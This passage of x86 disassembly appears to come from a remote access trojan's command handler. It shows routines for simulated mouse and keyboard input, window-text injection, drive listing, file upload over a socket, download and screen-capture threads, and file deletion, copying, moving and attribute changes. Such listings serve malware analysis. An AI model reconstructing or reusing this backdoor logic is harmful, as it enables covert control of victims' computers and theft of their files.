add esp, 8
push eax
lea eax, [esp + 0x2c0]
push eax
call edi
mov esi, dword [sym.imp.MSVCR80.dll_atoi]
lea ecx, [esp + 0x2d8]
add esp, 0xc
push ecx
call esi
lea edx, [esp + 0x2bc]
add esp, 4
push edx
mov edi, eax
call esi
add esp, 4
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push 8
push esi
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0xa
push esi
mov dword [esp + 0x18], eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push esi
xor esi, esi
push esi
mov dword [esp + 0x1c], eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push esi
call dword [sym.imp.USER32.dll_ClipCursor]
lea eax, [esp + 0x94]
push eax
mov dword [esp + 0x98], esi
mov dword [esp + 0x9c], esi
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, ebx
imul eax, eax, 0xffff
cdq
idiv dword [esp + 0x14]
push esi
push esi
push eax
mov eax, edi
imul eax, eax, 0xffff
cdq
idiv dword [esp + 0x1c]
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push eax
push 0x8001
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push esi
push esi
push esi
push 2
call edi
push esi
push esi
push esi
push esi
push 4
call edi
mov ecx, dword [esp + 0x98]
mov edx, dword [esp + 0x94]
push ecx
push edx
call dword [sym.imp.USER32.dll_SetCursorPos]
jmp 0x408320
lea eax, [esp + 0x5e0]
push str.rclidd
push eax
call esi
add esp, 8
test eax, eax
je 0x40bbd8
xor eax, eax
lea ecx, [esp + 0x5e0]
push 0x40fa0c
push ecx
mov dword [esp + 0x2fc], eax
mov dword [esp + 0x300], eax
mov dword [esp + 0x304], eax
mov dword [esp + 0x308], eax
mov dword [esp + 0x30c], eax
mov dword [esp + 0x284], eax
mov dword [esp + 0x288], eax
mov dword [esp + 0x28c], eax
mov dword [esp + 0x290], eax
mov dword [esp + 0x294], eax
call esi
mov edi, dword [sym.imp.MSVCR80.dll_strncpy]
lea edx, [esp + 0x5ee]
sub eax, edx
push eax
mov eax, edx
push eax
lea ecx, [esp + 0x304]
push ecx
call edi
add esp, 0x14
push 4
lea edx, [esp + 0x5e4]
push 0x40fa0c
push edx
call esi
add eax, 1
add esp, 8
push eax
lea eax, [esp + 0x284]
push eax
call edi
mov esi, dword [sym.imp.MSVCR80.dll_atoi]
lea ecx, [esp + 0x300]
add esp, 0xc
push ecx
call esi
lea edx, [esp + 0x280]
add esp, 4
push edx
mov edi, eax
call esi
add esp, 4
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push 8
push esi
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0xa
push esi
mov dword [esp + 0x18], eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push esi
xor esi, esi
push esi
mov dword [esp + 0x1c], eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push esi
call dword [sym.imp.USER32.dll_ClipCursor]
lea eax, [esp + 0x9c]
push eax
mov dword [esp + 0xa0], esi
mov dword [esp + 0xa4], esi
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, ebx
imul eax, eax, 0xffff
cdq
idiv dword [esp + 0x14]
push esi
push esi
push eax
mov eax, edi
imul eax, eax, 0xffff
cdq
idiv dword [esp + 0x1c]
mov esi, dword [sym.imp.USER32.dll_mouse_event]
push eax
push 0x8001
call esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push 8
call esi
push 0
push 0
push 0
push 0
push 0x10
call esi
mov ecx, dword [esp + 0xa0]
mov edx, dword [esp + 0x9c]
push ecx
push edx
call dword [sym.imp.USER32.dll_SetCursorPos]
jmp 0x408320
lea eax, [esp + 0x5e0]
push str.keyb
push eax
call esi
add esp, 8
test eax, eax
je 0x40bc97
cmp byte [esp + 0x5e4], 0x73
mov esi, dword [sym.imp.USER32.dll_keybd_event]
jne 0x40bc09
push edi
push ebx
push edi
push 0x10
call esi
cmp byte [esp + 0x5e5], 0x63
jne 0x40bc1a
push edi
push ebx
push edi
push 0x11
call esi
mov bl, 0x61
cmp byte [esp + 0x5e6], bl
jne 0x40bc2f
push 0
push 1
push 0
push 0x12
call esi
mov ecx, dword [esp + 0x5e7]
push 0
push 1
push 0
push ecx
call esi
mov edx, dword [esp + 0x5e7]
push 0
push 3
push 0
push edx
call esi
cmp byte [esp + 0x5e6], bl
jne 0x40bc62
push 0
push 3
push 0
push 0x12
call esi
cmp byte [esp + 0x5e5], 0x63
jne 0x40bc76
push 0
push 3
push 0
push 0x11
call esi
cmp byte [esp + 0x5e4], 0x73
jne 0x408320
push 0
push 3
push 0
push 0x10
call dword [sym.imp.USER32.dll_keybd_event]
jmp 0x408320
lea eax, [esp + 0x5e0]
push str.setw
push eax
call esi
add esp, 8
test eax, eax
je 0x40bd33
push 0x140
lea ecx, [esp + 0x2bbc]
push 0
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x140
lea edx, [esp + 0x5e8]
push edx
lea eax, [esp + 0x2bc0]
push eax
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 1
mov edi, eax
push edi
push esi
call dword [sym.imp.USER32.dll_AttachThreadInput]
call dword [sym.imp.USER32.dll_GetFocus]
push 0
push edi
push esi
mov ebx, eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
lea ecx, [esp + 0x2bb8]
push ecx
push 0
push 0xc
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
jmp 0x408320
lea edx, [esp + 0x5e0]
push str.xiazaiwjj
push edx
call esi
add esp, 8
test eax, eax
je 0x40be1e
xor eax, eax
mov dword [0x412530], eax
mov dword [0x412534], eax
mov dword [0x412538], eax
mov dword [0x41253c], eax
mov dword [0x412540], eax
lea eax, [esp + 0x1a4]
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40bd71
mov edi, 0x412530
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x40bd86
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x12b
lea eax, [esp + 0x385]
and ecx, 3
push 0
push eax
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x38c], 0
call sub.MSVCR80.dll_memset
lea eax, [esp + 0x5f5]
add esp, 0xc
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40bdc5
lea edi, [esp + 0x380]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
lea esp, [esp]
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x40bde0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, eax
push 0
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push 0
lea ecx, [esp + 0x388]
push ecx
mov dword [0x4124f4], eax
push fcn.00406990
jmp 0x40c14d
lea edx, [esp + 0x5e0]
push str.ffaad
push edx
call esi
add esp, 8
test eax, eax
je 0x40bf9d
lea eax, [esp + 0x5e0]
push 0x40fdf0
push eax
call esi
add esp, 8
test eax, eax
jne 0x40bf50
push 0x64
lea ecx, [esp + 0xd0c]
push edi
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea edx, [esp + 0xd08]
push edx
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov esi, eax
push 0x64
lea eax, [esp + 0x9e4]
push edi
push eax
add esi, ebx
call sub.MSVCR80.dll_memset
add esp, 0xc
xor edx, edx
cmp esi, edi
jbe 0x40bebe
lea ecx, [esp + 0x9e0]
lea esp, [esp]
mov al, byte [esp + edx + 0xd08]
test al, al
je 0x40beb8
cmp al, 0x5c
jne 0x40beb4
mov byte [ecx], 0x2a
jmp 0x40beb6
mov byte [ecx], al
add ecx, ebx
add edx, ebx
cmp edx, esi
jb 0x40bea0
lea eax, [esp + 0x9e0]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40bec8
mov esi, dword [ebp + 8]
push edi
sub eax, edx
push eax
lea ecx, [esp + 0x9e8]
push ecx
push esi
call sub.WS2_32.dll_send
mov eax, dword [0x40f6b8]
mov edx, dword [0x40f6b4]
mov cl, byte [0x40f6bc]
mov dword [esp + 0x184], eax
xor eax, eax
mov dword [esp + 0x189], eax
mov dword [esp + 0x18d], eax
mov word [esp + 0x191], ax
mov byte [esp + 0x193], al
lea eax, [esp + 0x180]
mov dword [esp + 0x180], edx
mov byte [esp + 0x188], cl
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40bf35
push edi
sub eax, edx
push eax
lea edx, [esp + 0x188]
push edx
push esi
jmp 0x40830e
push 0x12c
lea eax, [esp + 0x384]
push edi
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea ecx, [esp + 0x5e9]
push ecx
lea edx, [esp + 0x388]
push edx
call dword [sym.imp.MSVCR80.dll_strncpy]
mov eax, dword [ebp + 8]
add esp, 0xc
push eax
lea ecx, [esp + 0x384]
push ecx
call fcn.004034b0
add esp, 8
jmp 0x408320
lea edx, [esp + 0x5e0]
push str.xzwjdxc
push edx
call esi
add esp, 8
test eax, eax
je 0x40c078
push 0x13f
lea eax, [esp + 0xa4d]
push edi
push eax
mov byte [esp + 0xa54], 0
call sub.MSVCR80.dll_memset
lea eax, [esp + 0x1b0]
add esp, 0xc
mov ecx, eax
mov edi, edi
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40bfe0
lea edi, [esp + 0xa48]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x40bff7
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xa48]
add edi, 0xffffffff
mov al, byte [edi + 1]
add edi, ebx
test al, al
jne 0x40c018
mov cx, word [0x40f6a8]
lea eax, [esp + 0x5e7]
mov word [edi], cx
mov esi, eax
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40c034
lea edi, [esp + 0xa48]
sub eax, esi
add edi, 0xffffffff
lea esp, [esp]
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x40c050
push 0
mov ecx, eax
push 0
shr ecx, 2
lea edx, [esp + 0xa50]
push edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x404f40
jmp 0x40c148
lea eax, [esp + 0x5e0]
push str.capxxx
push eax
call esi
add esp, 8
test eax, eax
je 0x40c164
push 0x31
lea ecx, [esp + 0x20d]
push edi
push ecx
mov byte [esp + 0x214], 0
call sub.MSVCR80.dll_memset
lea eax, [esp + 0x1b0]
add esp, 0xc
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40c0b6
lea edi, [esp + 0x208]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
lea ecx, [ecx]
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x40c0d0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x208]
add edi, 0xffffffff
mov al, byte [edi + 1]
add edi, ebx
test al, al
jne 0x40c0f1
mov dx, word [0x40f6a8]
lea eax, [esp + 0x5e6]
mov word [edi], dx
mov esi, eax
lea ecx, [ecx]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40c110
lea edi, [esp + 0x208]
sub eax, esi
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x40c125
mov ecx, eax
shr ecx, 2
push 0
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [esp + 0x210]
push eax
push 0x406140
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x408320
lea ecx, [esp + 0x5e0]
push 0x40fe04
push ecx
call esi
add esp, 8
test eax, eax
je 0x40c297
push 0x118
lea edx, [esp + 0x2644]
push edi
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x118
lea eax, [esp + 0x5ec]
push eax
lea ecx, [esp + 0x2648]
push ecx
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push edi
push 0x80
push 3
push edi
push 3
push closesocket
lea edx, [esp + 0x2658]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x60], ebx
mov ebx, dword [ebp + 8]
mov esi, eax
lea esp, [esp]
push edi
lea eax, [esp + 0x64]
push eax
push 0x400
lea ecx, [esp + 0x121c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x60]
cmp eax, edi
jbe 0x40c218
push edi
push eax
lea edx, [esp + 0x1218]
push edx
push ebx
call sub.WS2_32.dll_send
cmp dword [esp + 0x60], edi
ja 0x40c1e0
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x40f6b4]
mov dl, byte [0x40f6bc]
mov ecx, dword [0x40f6b8]
mov dword [esp + 0x180], eax
xor eax, eax
mov dword [esp + 0x189], eax
mov dword [esp + 0x18d], eax
mov word [esp + 0x191], ax
mov byte [esp + 0x193], al
lea eax, [esp + 0x180]
mov byte [esp + 0x188], dl
mov dword [esp + 0x184], ecx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40c270
push edi
sub eax, edx
push eax
lea eax, [esp + 0x188]
push eax
push ebx
call sub.WS2_32.dll_send
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x408320
lea ecx, [esp + 0x5e0]
push str.delefile
push ecx
call esi
add esp, 8
test eax, eax
je 0x40c450
push 0
push 0x80
push 3
push 0
push 3
push closesocket
lea edx, [esp + 0x600]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x1f3
mov esi, eax
lea eax, [esp + 0xa4d]
push 0
push eax
mov byte [esp + 0xa54], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0xa
lea ecx, [esp + 0xa4c]
push ecx
shr esi, 0xa
push esi
call dword [sym.imp.MSVCR80.dll__itoa]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x5e8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
lea eax, [esp + 0xa48]
je 0x40c369
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40c337
mov ecx, dword [str.K__delf_succed]
mov edx, dword [0x40fe20]
mov dword [eax], ecx
mov ecx, dword [0x40fe24]
mov dword [eax + 4], edx
mov edx, dword [0x40fe28]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
jmp 0x40c427
add eax, 0xffffffff
lea esp, [esp]
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40c370
mov ecx, dword [str.__delf_failed]
mov edx, dword [0x40fe30]
mov dword [eax], ecx
mov ecx, dword [0x40fe34]
mov dword [eax + 4], edx
mov dx, word [0x40fe38]
mov dword [eax + 8], ecx
mov cl, byte [0x40fe3a]
mov word [eax + 0xc], dx
push 0x12b
lea edx, [esp + 0x385]
push 0
push edx
mov byte [eax + 0xe], cl
mov byte [esp + 0x38c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0
push 0x12c
lea eax, [esp + 0x388]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0x380]
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40c3f5
lea edi, [esp + 0xa48]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
lea esp, [esp]
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x40c410
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0xa48]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40c431
push 0
sub eax, edx
mov edx, dword [ebp + 8]
push eax
lea ecx, [esp + 0xa50]
push ecx
push edx
jmp 0x40830e
lea eax, [esp + 0x5e0]
push str.copyfile
push eax
call esi
add esp, 8
test eax, eax
je 0x40c62f
lea ecx, [esp + 0x5e0]
push 0x40fa0c
push ecx
call esi
add esp, 8
push 0
push 0x80
push 3
push 0
push 3
push closesocket
lea edx, [esp + 0x600]
mov edi, eax
push edx
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x1f3
mov esi, eax
lea eax, [esp + 0xa4d]
push 0
push eax
mov byte [esp + 0xa54], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0xa
lea ecx, [esp + 0xa4c]
push ecx
shr esi, 0xa
push esi
call dword [sym.imp.MSVCR80.dll__itoa]
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
add edi, 1
push edi
lea edx, [esp + 0x5f0]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
lea eax, [esp + 0xa48]
je 0x40c542
add eax, 0xffffffff
lea ecx, [ecx]
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40c510
mov ecx, dword [str.K__copy_succed]
mov edx, dword [0x40fe4c]
mov dword [eax], ecx
mov ecx, dword [0x40fe50]
mov dword [eax + 4], edx
mov edx, dword [0x40fe54]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
jmp 0x40c5ff
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40c545
mov ecx, dword [str.__copy_failed]
mov edx, dword [0x40fe5c]
mov dword [eax], ecx
mov ecx, dword [0x40fe60]
mov dword [eax + 4], edx
mov dx, word [0x40fe64]
mov dword [eax + 8], ecx
mov cl, byte [0x40fe66]
mov word [eax + 0xc], dx
push 0x12b
lea edx, [esp + 0x385]
push 0
push edx
mov byte [eax + 0xe], cl
mov byte [esp + 0x38c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0
push 0x12c
lea eax, [esp + 0x388]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0x380]
mov ecx, eax
lea ebx, [ebx]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40c5d0
lea edi, [esp + 0xa48]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40c5e7
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0xa48]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40c610
push 0
sub eax, edx
mov edx, dword [ebp + 8]
push eax
lea ecx, [esp + 0xa50]
push ecx
push edx
jmp 0x40830e
lea eax, [esp + 0x5e0]
push str.movefile
push eax
call esi
add esp, 8
test eax, eax
je 0x40c80f
lea ecx, [esp + 0x5e0]
push 0x40fa0c
push ecx
call esi
add esp, 8
push 0
push 0x80
push 3
push 0
push 3
push closesocket
lea edx, [esp + 0x600]
mov edi, eax
push edx
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x1f3
mov esi, eax
lea eax, [esp + 0xa4d]
push 0
push eax
mov byte [esp + 0xa54], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0xa
lea ecx, [esp + 0xa4c]
push ecx
shr esi, 0xa
push esi
call dword [sym.imp.MSVCR80.dll__itoa]
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add edi, 1
push edi
lea edx, [esp + 0x5ec]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
lea eax, [esp + 0xa48]
je 0x40c722
add eax, 0xffffffff
lea ebx, [ebx]
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40c6f0
mov ecx, dword [str.K__move_succed]
mov edx, dword [0x40fe78]
mov dword [eax], ecx
mov ecx, dword [0x40fe7c]
mov dword [eax + 4], edx
mov edx, dword [0x40fe80]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
jmp 0x40c7df
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40c725
mov ecx, dword [str.__move_failed]
mov edx, dword [0x40fe88]
mov dword [eax], ecx
mov ecx, dword [0x40fe8c]
mov dword [eax + 4], edx
mov dx, word [0x40fe90]
mov dword [eax + 8], ecx
mov cl, byte [0x40fe92]
mov word [eax + 0xc], dx
push 0x12b
lea edx, [esp + 0x385]
push 0
push edx
mov byte [eax + 0xe], cl
mov byte [esp + 0x38c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0
push 0x12c
lea eax, [esp + 0x388]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0x380]
mov ecx, eax
lea ebx, [ebx]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40c7b0
lea edi, [esp + 0xa48]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40c7c7
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0xa48]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40c7f0
push 0
sub eax, edx
mov edx, dword [ebp + 8]
push eax
lea ecx, [esp + 0xa50]
push ecx
push edx
jmp 0x40830e
lea eax, [esp + 0x5e0]
push str.getatbd
push eax
call esi
add esp, 8
test eax, eax
je 0x40c9af
lea ecx, [esp + 0x5e7]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x12c
lea edx, [esp + 0x384]
push 0
push edx
mov ebx, eax
call sub.MSVCR80.dll_memset
lea eax, [esp + 0x38c]
add esp, 0xc
add eax, 0xffffffff
cmp ebx, 0xffffffff
je 0x40c8d0
nop
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40c860
test bl, bl
mov ecx, dword [str.00000suc]
mov edx, dword [0x40fea0]
mov dword [eax], ecx
mov cl, byte [0x40fea4]
mov dword [eax + 4], edx
mov byte [eax + 8], cl
mov al, 0x31
jns 0x40c891
mov byte [esp + 0x380], al
test bl, 1
je 0x40c89d
mov byte [esp + 0x381], al
test bl, 2
je 0x40c8a9
mov byte [esp + 0x382], al
test bl, 4
je 0x40c8b5
mov byte [esp + 0x383], al
test bl, 0x10
je 0x40c97f
mov byte [esp + 0x384], al
jmp 0x40c97f
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40c8d0
mov edx, dword [str.getatbd_failed]
mov ecx, dword [0x40feac]
mov dword [eax], edx
mov edx, dword [0x40feb0]
mov dword [eax + 4], ecx
mov ecx, dword [0x40feb4]
mov dword [eax + 8], edx
push 0x12b
lea edx, [esp + 0x4b5]
push 0
push edx
mov dword [eax + 0xc], ecx
mov byte [esp + 0x4bc], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0
push 0x12c
lea eax, [esp + 0x4b8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0x4b0]
mov ecx, eax
lea ebx, [ebx]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40c950
lea edi, [esp + 0x380]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40c967
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x380]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40c990
push 0
sub eax, edx
mov edx, dword [ebp + 8]
push eax
lea ecx, [esp + 0x388]
push ecx
push edx
jmp 0x40830e
lea eax, [esp + 0x5e0]
push str.setatbd
push eax
call esi
add esp, 8
test eax, eax
je 0x40cb80
lea ecx, [esp + 0x5eb]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
mov eax, dword [esp + 0x5e7]
mov cl, 0x31
cmp al, cl
jne 0x40c9ed
mov esi, 0x80
jmp 0x40ca1a
cmp ah, cl
jne 0x40c9f5
or esi, ebx
jmp 0x40c9f8
and esi, 0xfffffffe
cmp byte [esp + 0x5e9], cl
jne 0x40ca06
or esi, 2
jmp 0x40ca09
and esi, 0xfffffffd
cmp byte [esp + 0x5ea], cl
jne 0x40ca17
or esi, 4
jmp 0x40ca1a
and esi, 0xfffffffb
push 0x12c
lea edx, [esp + 0x384]
push edi
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
push esi
lea eax, [esp + 0x5ef]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
je 0x40caa8
lea eax, [esp + 0x5e0]
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40ca50
lea edi, [esp + 0x380]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x40ca65
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x380]
rep movsb byte es:[edi], byte [esi]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40ca88
mov ecx, dword [str.__suc__]
mov edx, dword [0x40fec4]
mov dword [eax], ecx
mov dword [eax + 4], edx
jmp 0x40cb57
lea eax, [esp + 0x380]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40cab2
mov ecx, dword [str.setatbd_failed]
mov edx, dword [0x40fecc]
mov dword [eax], ecx
mov ecx, dword [0x40fed0]
mov dword [eax + 4], edx
mov edx, dword [0x40fed4]
mov dword [eax + 8], ecx
push 0x12b
mov dword [eax + 0xc], edx
lea eax, [esp + 0x4b5]
push edi
push eax
mov byte [esp + 0x4bc], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push edi
push 0x12c
lea ecx, [esp + 0x4b8]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0x4b0]
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40cb28
lea edi, [esp + 0x380]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
nop
mov cl, byte [edi + 1]
add edi, ebx
test cl, cl
jne 0x40cb40
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x380]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40cb61
sub eax, edx
push 0
push eax
mov eax, dword [ebp + 8]
lea edx, [esp + 0x388]
push edx
push eax
jmp 0x40830e
lea ecx, [esp + 0x5e0]
push str.gettatb
push ecx
call esi
add esp, 8
test eax, eax
je 0x40cf00
push 0x12c
lea edx, [esp + 0xd84]
push edi
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [esp + 0x180]
push eax
push edi
lea ecx, [esp + 0x5ef]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
lea eax, [esp + 0xd80]
je 0x40ce2f
add eax, 0xffffffff
lea esp, [esp]
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40cbe0
mov edx, dword [str.00000suc]
mov ecx, dword [0x40fea0]
mov dword [eax], edx
mov dl, byte [0x40fea4]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
mov eax, dword [esp + 0x180]
test al, al
mov cl, 0x31
jns 0x40cc18
mov byte [esp + 0xd80], cl
test al, 1
je 0x40cc23
mov byte [esp + 0xd81], cl
test al, 2
je 0x40cc2e
mov byte [esp + 0xd82], cl
test al, 4
je 0x40cc39
mov byte [esp + 0xd83], cl
mov edi, eax
and edi, 0x10
je 0x40cc47
mov byte [esp + 0xd84], cl
lea eax, [esp + 0x184]
push eax
mov ecx, eax
push ecx
